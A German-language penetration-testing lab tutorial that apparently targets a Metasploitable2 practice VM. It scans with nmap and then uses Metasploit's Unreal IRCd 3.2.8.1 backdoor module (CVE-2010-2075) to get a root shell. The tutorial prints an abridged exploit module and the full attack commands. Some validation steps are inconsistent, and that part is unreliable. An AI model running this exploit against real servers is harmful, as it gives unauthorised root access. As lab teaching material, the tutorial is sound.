Unreal IRCd Schwachstelle mit Nmap und Metasploit ausnutzen

NmapBeginner
Jetzt üben

Einführung

In diesem Lab werden wir lernen, wie man den Unreal IRCd-Service auf der Metasploitable2-Zielmaschine, die auf der LabEx-Plattform gehostet wird, ausnutzt. Wir beginnen damit, die Schwachstelle im Unreal IRCd-Service zu verstehen und führen dann einen Schwachstellenscan mit Nmap durch. Nachdem wir den anfälligen Service identifiziert haben, nutzen wir das Metasploit-Framework, um die Schwachstelle auszunutzen und eine Remoteshell auf der Zielmaschine zu erhalten. Schließlich validieren wir unseren erfolgreichen Angriff, indem wir Befehle auf dem kompromittierten System ausführen.

Verstehen Sie die Unreal IRCd-Schwachstelle und starten Sie die Experimentierumgebung

Die Version 3.2.8.1 von Unreal IRCd enthält eine Backdoor-Schwachstelle (CVE-2010-2075), die es Remoteangreifern ermöglicht, beliebigen Code auf dem betroffenen System auszuführen. Die Schwachstelle befindet sich in der DEBUG3_DOLOG_SYSTEM-Makro, das externen bösartigen Code enthält, den ein Angreifer nutzen kann.

Relevante Informationen:

Das Metasploit-Modul zur Ausnutzung dieser Schwachstelle:

Hier ist eine kurze Übersicht über das Metasploit-Modul:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      #... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Jetzt starten Sie den Angriffsserver (Kali Linux-Container) und die Zielmaschine (Metasploitable2-Virtuelle Maschine) für das Experiment.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie pingen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um das Pingen zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die Bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um das Pingen zu stoppen.

Jetzt laufen sowohl die Angriffsmachine als auch die Zielmaschine, und Sie können mit dem Penetrationstest beginnen.

Hinweis: Wenn Sie versehentlich die aktuelle Bash-Umgebung verlassen, wird der Kali-Container automatisch gestoppt. Sie können erneut docker run -ti --network host b5b709a49cd5 bash auf dem Host ausführen, um einen neuen Kali-Container zu starten und in die Bash-Umgebung einzutreten, um das Experiment fortzusetzen.

Durchführen einer Schwachstellenscans

In diesem Schritt werden wir einen Schwachstellenscan auf der Zielmaschine durchführen, um offene Ports und die auf diesen Ports laufenden Dienste zu identifizieren. Dazu verwenden wir das leistungsstarke Nmap (Network Mapper)-Tool.

  1. Starten Sie die Metasploit-Konsole im Kali Linux-Container:
cd ~
msfconsole
  1. Verwenden Sie innerhalb der Metasploit-Konsole den nmap-Befehl, um die Zielmaschine zu scannen:
nmap -sV -T4 192.168.122.102

Die Option -sV aktiviert die Versionserkennung für offene Ports, und -T4 setzt die Timing-Politik auf ein aggressives Niveau (1 - 5, höher ist schneller).

Die Ausgabe sollte einen offenen Port 6667 anzeigen, auf dem der unreal ircd-Dienst läuft.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.

Nutzen Sie die Unreal IRCd-Schwachstelle aus

Nachdem wir den anfälligen Unreal IRCd-Service identifiziert haben, der auf Port 6667 läuft, können wir ihn nun mit dem Metasploit-Framework ausnutzen.

  1. Zunächst sollten Sie, falls Sie nicht bereits in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
  1. Suchen Sie in der Metasploit-Konsole nach dem unreal_ircd_3281_backdoor-Modul:
search unreal_ircd_3281_backdoor
  1. Laden Sie das Modul:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Legen Sie den Zielhost fest:
set RHOST 192.168.122.102
  1. Führen Sie den Exploit aus:
exploit

Wenn der Exploit erfolgreich ist, sollten Sie eine Remoteshell auf der Zielmaschine erhalten.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.

Validieren Sie die Exploitation

Um zu überprüfen, ob die Exploitation erfolgreich war, können wir Befehle in der Remoteshell ausführen, die wir im vorherigen Schritt erhalten haben.

  1. Zunächst sollten Sie, falls Sie nicht bereits in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
  1. Prüfen Sie den aktuellen Benutzer mit dem whoami-Befehl:
whoami
  1. Prüfen Sie den Hostnamen mit dem hostname-Befehl:
hostname
  1. Prüfen Sie die IP-Adresse mit dem ifconfig-Befehl:
ifconfig

Wenn die Ausgabe root als aktuellen Benutzer, metasploitable als Hostnamen anzeigt und die IP-Adresse mit der der Zielmaschine übereinstimmt (192.168.122.102), bestätigt dies, dass die Exploitation erfolgreich war und Sie die volle Kontrolle über das Zielsystem erlangt haben.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.

Zusammenfassung

In diesem Lab haben wir uns mit der Unreal IRCd-Schwachstelle und ihrer Ausnutzung mithilfe des Metasploit-Frameworks beschäftigt. Wir haben zunächst die Schwachstelle und ihre Auswirkungen verstanden, dann einen Schwachstellenscan durchgeführt, um den anfälligen Dienst zu identifizieren. Nachdem wir festgestellt haben, dass der Unreal IRCd-Dienst auf Port 6667 läuft, haben wir das entsprechende Metasploit-Modul verwendet, um die Schwachstelle auszunutzen und Remote-Zugang zur Zielmaschine zu erhalten. Schließlich haben wir die erfolgreiche Ausnutzung validiert, indem wir Befehle auf dem kompromittierten System ausgeführt haben. Dieses Lab bietet praktische Erfahrungen in der Schwachstellenanalyse, -ausnutzung und -validierung nach der Exploitation, die für ethische Hacker und Cybersicherheitsexperten essentielle Fähigkeiten sind.